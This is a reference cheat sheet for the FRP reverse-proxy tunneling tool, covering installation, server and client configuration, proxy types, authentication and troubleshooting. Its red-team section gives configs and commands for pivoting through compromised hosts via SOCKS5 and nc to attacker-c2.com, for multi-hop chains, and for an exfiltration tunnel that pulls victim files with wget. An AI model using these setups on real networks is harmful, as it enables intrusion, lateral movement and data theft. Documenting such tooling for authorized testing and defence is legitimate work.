FRP (Fast Reverse Proxy)
FRP is a high-performance reverse proxy enabling secure tunneling of services through firewalls and NAT. It uses a server-client architecture where frps runs on an internet-accessible server and frpc runs locally, exposing internal services with encryption, authentication, and advanced routing capabilities.
Installation
Section intitulée « Installation »From GitHub Releases
Section intitulée « From GitHub Releases »# Download latest release (Linux x86_64 example)
wget https://github.com/fatedier/frp/releases/download/v0.54.0/frp_0.54.0_linux_amd64.tar.gz
tar -xzf frp_0.54.0_linux_amd64.tar.gz
cd frp_0.54.0_linux_amd64
# Server setup
./frps -c frps.toml
# Client setup
./frpc -c frpc.toml
Go Install
Section intitulée « Go Install »go install github.com/fatedier/frp/cmd/frps@latest
go install github.com/fatedier/frp/cmd/frpc@latest
frps -c frps.toml
frpc -c frpc.toml
# FRP server container
docker run -d --name frps -p 7000:7000 -p 7500:7500 \
-v /path/to/frps.toml:/etc/frp/frps.toml \
snowdreamtech/frps
# FRP client container
docker run -d --name frpc \
-v /path/to/frpc.toml:/etc/frp/frpc.toml \
snowdreamtech/frpc
Architecture
Section intitulée « Architecture »FRP operates in a client-server model:
| Component | Role | Location |
|---|---|---|
| frps (server) | Receives reverse proxy requests, forwards traffic to frpc clients | Internet-accessible server (C2, VPS) |
| frpc (client) | Connects to frps, exposes local services | Target network (compromised host) |
| Proxy Definition | Maps a service (SSH, HTTP, etc.) to a public port | frpc.toml |
| Control Connection | Persistent TCP connection between frpc and frps | Port 7000 (default) |
Traffic flow: Client requests → frps → frpc → Local service
Quick Start
Section intitulée « Quick Start »1. Start FRP Server
Section intitulée « 1. Start FRP Server »# frps.toml
bindAddr = "0.0.0.0"
bindPort = 7000
authentication:
token = "your-secret-token-here"
webServer:
addr = "0.0.0.0"
port = 7500
Run server:
./frps -c frps.toml
2. Configure FRP Client
Section intitulée « 2. Configure FRP Client »# frpc.toml
serverAddr = "attacker.example.com"
serverPort = 7000
auth:
token = "your-secret-token-here"
proxies:
- name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
Run client:
./frpc -c frpc.toml
Access remote SSH: ssh -p 2222 user@attacker.example.com
Server Configuration (frps.toml)
Section intitulée « Server Configuration (frps.toml) »Core Settings
Section intitulée « Core Settings »# Network binding
bindAddr = "0.0.0.0" # Listen on all interfaces
bindPort = 7000 # Control port for clients
bindUDP = 7001 # UDP port for UDP proxies
# Logging
log:
level = "debug" # debug, info, warn, error
maxDays = 3
disablePrintColor = false
Authentication & Security
Section intitulée « Authentication & Security »# Token-based authentication
authentication:
token = "supersecrettoken123"
tokenTimeout = 900 # Token expiration (seconds)
# TLS configuration
transport:
tls:
certFile = "/path/to/server.crt"
keyFile = "/path/to/server.key"
trustedCaFile = "/path/to/ca.crt"
# Enforce TLS
disableCustomTLSFirstByte = false
Dashboard & Monitoring
Section intitulée « Dashboard & Monitoring »# Web dashboard
webServer:
addr = "0.0.0.0"
port = 7500
user = "admin"
password = "admin123"
assetsDir = "" # Static assets directory
# REST API (same as dashboard)
# GET /api/serverinfo - Server statistics
# GET /api/config - Server configuration
# GET /api/proxies - Active proxies
Advanced Server Options
Section intitulée « Advanced Server Options »# Connection pooling
transport:
maxPoolCount = 5 # Max connections per client
maxIdleTime = 15 # Connection idle timeout (min)
# Rate limiting
rateLimit = 1000 # Connections per second
# Subdomain routing (for HTTP proxies)
subdomainRouter = "frp.example.com"
Client Configuration (frpc.toml)
Section intitulée « Client Configuration (frpc.toml) »Connection Settings
Section intitulée « Connection Settings »# Server connection
serverAddr = "attacker.example.com"
serverPort = 7000
serverUDP = 7001 # For UDP proxies
# Authentication
auth:
token = "supersecrettoken123"
method = "token" # token or oidc
# Transport
transport:
tls:
enable = true
disableCustomTLSFirstByte = false
trustedCaFile = "/path/to/ca.crt"
useEncryption = true # Encrypt frpc-frps traffic
useCompression = true # Compress tunneled data
dialServerTimeout = 10 # Connection timeout
dialKeepAliveInterval = 300 # Keep-alive interval
# Logging
log:
level = "info"
Client Metadata
Section intitulée « Client Metadata »# Client identification
user = "compromised-workstation-01"
metadatas:
- key = "hostname"
value = "DESKTOP-ABC123"
- key = "os"
value = "Windows 10"
Proxy Types
Section intitulée « Proxy Types »TCP Tunneling
Section intitulée « TCP Tunneling »proxies:
# Expose local SSH on port 2222
- name = "ssh-tunnel"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
UDP Tunneling
Section intitulée « UDP Tunneling »proxies:
# Expose local DNS
- name = "dns-tunnel"
type = "udp"
localIP = "127.0.0.1"
localPort = 53
remotePort = 5353
HTTP Tunneling
Section intitulée « HTTP Tunneling »proxies:
# Expose local web app on custom domain
- name = "web-app"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["app.frp.example.com"]
# subdomain = "app" # Auto: app.subdomainRouter
# Host header rewriting
hostHeaderRewrite = "localhost:8080"
# HTTP basic auth
httpUser = "admin"
httpPassword = "secret123"
HTTPS Tunneling
Section intitulée « HTTPS Tunneling »proxies:
- name = "secure-app"
type = "https"
localIP = "127.0.0.1"
localPort = 8443
customDomains = ["secure.frp.example.com"]
hostHeaderRewrite = "localhost:8443"
STCP (Secret TCP)
Section intitulée « STCP (Secret TCP) »Direct TCP connection with authentication (no public exposure).
# Server-side (frps.toml) - no config needed
# Client-side (frpc.toml)
proxies:
- name = "secure-ssh"
type = "stcp"
secretKey = "secret-key-123"
localIP = "127.0.0.1"
localPort = 22
# Visitor (another frpc.toml)
visitors:
- name = "secure-ssh-visitor"
type = "stcp"
secretKey = "secret-key-123"
serverName = "secure-ssh"
bindAddr = "127.0.0.1"
bindPort = 2222
XTCP (P2P TCP)
Section intitulée « XTCP (P2P TCP) »Direct point-to-point connection between two frpc instances.
# Provider (frpc.toml)
proxies:
- name = "direct-service"
type = "xtcp"
secretKey = "p2p-secret"
localIP = "127.0.0.1"
localPort = 3389
# Visitor (another frpc.toml)
visitors:
- name = "direct-service-visitor"
type = "xtcp"
secretKey = "p2p-secret"
serverName = "direct-service"
bindAddr = "127.0.0.1"
bindPort = 3389
SUDP (Secret UDP)
Section intitulée « SUDP (Secret UDP) »Encrypted UDP tunnel with authentication.
proxies:
- name = "secret-udp"
type = "sudp"
secretKey = "udp-secret"
localIP = "127.0.0.1"
localPort = 53
Multiplex multiple services over single TCP connection (protocol-aware).
# Server config (frps.toml)
tcpmuxHTTPConnectPort = 1337 # Multiplex HTTP CONNECT
# Client config (frpc.toml)
proxies:
- name = "http-mux"
type = "tcpmux"
multiplexer = "httpconnect"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["app.frp.example.com"]
TCP Tunneling
Section intitulée « TCP Tunneling »SSH Access
Section intitulée « SSH Access »proxies:
- name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
Access: ssh -p 2222 user@attacker.example.com
RDP Access
Section intitulée « RDP Access »proxies:
- name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 3389
Database Tunneling
Section intitulée « Database Tunneling »proxies:
- name = "postgres"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5432
remotePort = 5432
Connect locally: psql -h 127.0.0.1 -p 5432 -U user dbname
Internal Web Service
Section intitulée « Internal Web Service »proxies:
- name = "internal-api"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3000
remotePort = 3000
Access: curl http://attacker.example.com:3000/api
HTTP/HTTPS Tunneling
Section intitulée « HTTP/HTTPS Tunneling »Basic HTTP Exposure
Section intitulée « Basic HTTP Exposure »proxies:
- name = "web-app"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["internal.frp.example.com"]
Access: curl http://internal.frp.example.com
Subdomain Routing
Section intitulée « Subdomain Routing »# frps.toml
subdomainRouter = "frp.example.com"
# frpc.toml - auto-generate subdomain
proxies:
- name = "app1"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
subdomain = "app1" # app1.frp.example.com
Host Header Rewriting
Section intitulée « Host Header Rewriting »proxies:
- name = "internal-site"
type = "http"
localIP = "127.0.0.1"
localPort = 8000
customDomains = ["site.frp.example.com"]
hostHeaderRewrite = "internal.local"
HTTP Basic Authentication
Section intitulée « HTTP Basic Authentication »proxies:
- name = "admin-panel"
type = "http"
localIP = "127.0.0.1"
localPort = 9000
customDomains = ["admin.frp.example.com"]
httpUser = "admin"
httpPassword = "P@ssw0rd123"
Clients must provide credentials: curl -u admin:P@ssw0rd123 http://admin.frp.example.com
Multiple Routes
Section intitulée « Multiple Routes »proxies:
- name = "api-prod"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["api.frp.example.com"]
- name = "admin-prod"
type = "http"
localIP = "127.0.0.1"
localPort = 9000
customDomains = ["admin.frp.example.com"]
- name = "docs"
type = "http"
localIP = "127.0.0.1"
localPort = 8888
subdomain = "docs"
SOCKS5 Proxy
Section intitulée « SOCKS5 Proxy »Dynamic pivoting through a compromised host.
# frpc.toml
proxies:
- name = "socks5-proxy"
type = "tcp"
plugin = "socks5"
pluginParams = ""
remotePort = 1080
Use proxy:
# curl through SOCKS5
curl -x socks5://attacker.example.com:1080 http://internal.service.local
# SSH through SOCKS5
ssh -o ProxyCommand='nc -x attacker.example.com:1080 %h %p' user@internal.host
# nmap through SOCKS5
nmap --proxies socks5://attacker.example.com:1080 192.168.1.0/24
Port Range Forwarding
Section intitulée « Port Range Forwarding »Forward multiple ports for network scanning.
proxies:
- name = "port-range"
type = "tcp"
localIP = "127.0.0.1"
localPort = 1-65535 # Dangerous: all ports
remotePort = 10000-75535
# Safer: specific range
- name = "web-services"
type = "tcp"
localIP = "127.0.0.1"
localPort = 80,443,8000-8999
remotePort = 80,443,8000-8999
Access individual ports:
ssh -p 10022 user@attacker.example.com # Local port 22 → remote 10022
Encryption and Compression
Section intitulée « Encryption and Compression »Transport Encryption
Section intitulée « Transport Encryption »# frpc.toml
transport:
tls:
enable = true
certFile = "/path/to/client.crt"
keyFile = "/path/to/client.key"
trustedCaFile = "/path/to/ca.crt"
# Skip verification (testing only)
insecureSkipVerify = true
# Custom TLS first byte (bypass firewalls)
transport:
tls:
disableCustomTLSFirstByte = false
Payload Compression
Section intitulée « Payload Compression »transport:
useCompression = true # Gzip compression
useEncryption = true # XOR-based encryption
Reduce bandwidth:
# Compression ratio for typical web traffic: 60-70%
# Encryption adds ~10% overhead
Authentication
Section intitulée « Authentication »Token-Based
Section intitulée « Token-Based »# frps.toml
authentication:
token = "complex-secret-token-with-entropy"
tokenTimeout = 900
# frpc.toml
auth:
token = "complex-secret-token-with-entropy"
method = "token"
OIDC Authentication
Section intitulée « OIDC Authentication »# frps.toml
authentication:
oidc:
issuer = "https://auth.example.com"
audience = "frp-server"
clientID = "frp-client-id"
clientSecret = "frp-client-secret"
# frpc.toml
auth:
method = "oidc"
oidc:
clientID = "frp-client-id"
clientSecret = "frp-client-secret"
tokenEndpointURL = "https://auth.example.com/token"
Dashboard and Monitoring
Section intitulée « Dashboard and Monitoring »Web Dashboard
Section intitulée « Web Dashboard »# frps.toml
webServer:
addr = "0.0.0.0"
port = 7500
user = "admin"
password = "dashboard123"
assetsDir = "./static"
Access: http://frps-server:7500 (credentials: admin/dashboard123)
Dashboard shows:
- Connected clients
- Active proxies
- Traffic statistics
- Proxy status (running/error)
REST API Endpoints
Section intitulée « REST API Endpoints »# Server info
curl -u admin:dashboard123 http://frps:7500/api/serverinfo
# List proxies
curl -u admin:dashboard123 http://frps:7500/api/proxies
# Client info
curl -u admin:dashboard123 http://frps:7500/api/config
# Traffic stats
curl -u admin:dashboard123 http://frps:7500/api/proxies/{proxy_name}
P2P Mode (Direct Connection)
Section intitulée « P2P Mode (Direct Connection) »Direct connection between clients without frps intermediary (reduces latency).
# frpc1.toml (Provider)
proxies:
- name = "direct-tunnel"
type = "xtcp"
secretKey = "p2p-secret-key"
localIP = "192.168.1.100"
localPort = 3389
# frpc2.toml (Visitor on different network)
visitors:
- name = "direct-tunnel-visitor"
type = "xtcp"
secretKey = "p2p-secret-key"
serverName = "direct-tunnel"
bindAddr = "127.0.0.1"
bindPort = 3389
Usage: Connect to 127.0.0.1:3389 for direct P2P access to provider’s service.
Red Team Use Cases
Section intitulée « Red Team Use Cases »Pivoting Through Compromised Host
Section intitulée « Pivoting Through Compromised Host »# frpc.toml on compromised workstation
serverAddr = "attacker-c2.com"
serverPort = 7000
auth:
token = "red-team-token"
proxies:
# Expose internal SOCKS5 proxy
- name = "pivot-socks5"
type = "tcp"
plugin = "socks5"
remotePort = 1080
# Expose internal SSH
- name = "internal-ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
From attacker C2:
# Tunnel through SOCKS5 to internal network
curl -x socks5://attacker-c2.com:1080 http://192.168.100.50:8080
# SSH to compromised host
ssh -p 2222 admin@attacker-c2.com
Multi-Hop SOCKS Chain
Section intitulée « Multi-Hop SOCKS Chain »# Host1 (first compromised)
proxies:
- name = "socks-hop1"
type = "tcp"
plugin = "socks5"
remotePort = 1080
# Host2 (second compromised)
proxies:
- name = "socks-hop2"
type = "tcp"
plugin = "socks5"
remotePort = 1081
Chain setup:
# Access Host1's network through Host2
ssh -o ProxyCommand="nc -x attacker-c2.com:1080 %h %p" \
-o ProxyUseFdpass=no user@192.168.100.100
# Then from Host2, access Host3 through Host1
ssh -o ProxyCommand="nc -x localhost:1080 %h %p" user@10.0.0.50
Exfiltration Tunnel
Section intitulée « Exfiltration Tunnel »proxies:
# Expose file server for data exfil
- name = "data-exfil"
type = "http"
localIP = "127.0.0.1"
localPort = 8080 # Python SimpleHTTPServer
customDomains = ["exfil.attacker-c2.com"]
On compromised host:
# Start file server
cd /path/to/files
python3 -m http.server 8080
From attacker:
wget -r http://exfil.attacker-c2.com
Internal Service Enumeration
Section intitulée « Internal Service Enumeration »proxies:
- name = "enum-80"
type = "tcp"
localIP = "127.0.0.1"
localPort = 80
remotePort = 8080
- name = "enum-443"
type = "tcp"
localIP = "127.0.0.1"
localPort = 443
remotePort = 8443
- name = "enum-3306"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3306
remotePort = 3306
- name = "enum-5432"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5432
remotePort = 5432
Enumerate:
nmap -p 8080,8443,3306,5432 attacker-c2.com
Troubleshooting
Section intitulée « Troubleshooting »Connection Refused
Section intitulée « Connection Refused »# Check frps is listening
netstat -tlnp | grep 7000
# Verify firewall allows incoming
sudo ufw allow 7000/tcp
Client Authentication Failed
Section intitulée « Client Authentication Failed »Error: invalid token
Solution: Verify auth.token in frpc.toml matches authentication.token in frps.toml.
Proxy Not Starting
Section intitulée « Proxy Not Starting »# Check frpc logs
./frpc -c frpc.toml
# Validate TOML syntax
toml-lint frpc.toml
High Latency / Slow Throughput
Section intitulée « High Latency / Slow Throughput »# Disable compression if latency is priority
transport:
useCompression = false
# Increase connection pool
transport:
maxPoolCount = 10
Port Already in Use
Section intitulée « Port Already in Use »# Change remotePort to available port
remotePort = 9999
# Or find process using port
lsof -i :7000
kill -9 <PID>
TLS Certificate Errors
Section intitulée « TLS Certificate Errors »# Generate self-signed cert (testing)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# Update frpc.toml
transport:
tls:
trustedCaFile = "/path/to/cert.pem"
insecureSkipVerify = true # Testing only!
Best Practices
Section intitulée « Best Practices »| Practice | Description |
|---|---|
| Rotate tokens | Change auth.token regularly; log rotation attempts |
| Use TLS | Enable transport.tls for frpc-frps channel |
| Encrypt payloads | Enable transport.useEncryption |
| Limit scope | Only expose necessary ports/services |
| Monitor connections | Check dashboard for unauthorized proxies |
| Firewall rules | Restrict frps bind port (7000) to trusted IPs |
| Rate limiting | Set rateLimit to prevent DoS |
| Log aggregation | Forward frps/frpc logs to SIEM |
| Separate C2 | Run frps on isolated C2 infrastructure |
| Authenticate clients | Use token or OIDC, not default auth |
Related Tools
Section intitulée « Related Tools »| Tool | Purpose | Advantage |
|---|---|---|
| Chisel | HTTP/SOCKS tunneling | Single binary, built-in SOCKS |
| Ligolo-ng | TUN-based pivoting | Creates virtual interface, transparent routing |
| SSH tunneling | Port forwarding via SSH | Already available on most targets |
| ngrok | Public URL tunneling | Easy external exposure, but public logs |
| Venom | Proxy/tunnel framework | Multi-protocol support |
| Gost | GO Simple Tunnel | Lightweight, flexible |
Quick Reference:
- Server:
./frps -c frps.toml - Client:
./frpc -c frpc.toml - Dashboard:
http://frps:7500 - Default ports: 7000 (control), 7001 (UDP), 7500 (web)
- Auth: Token-based via
auth.token - Encryption:
transport.useEncryption = true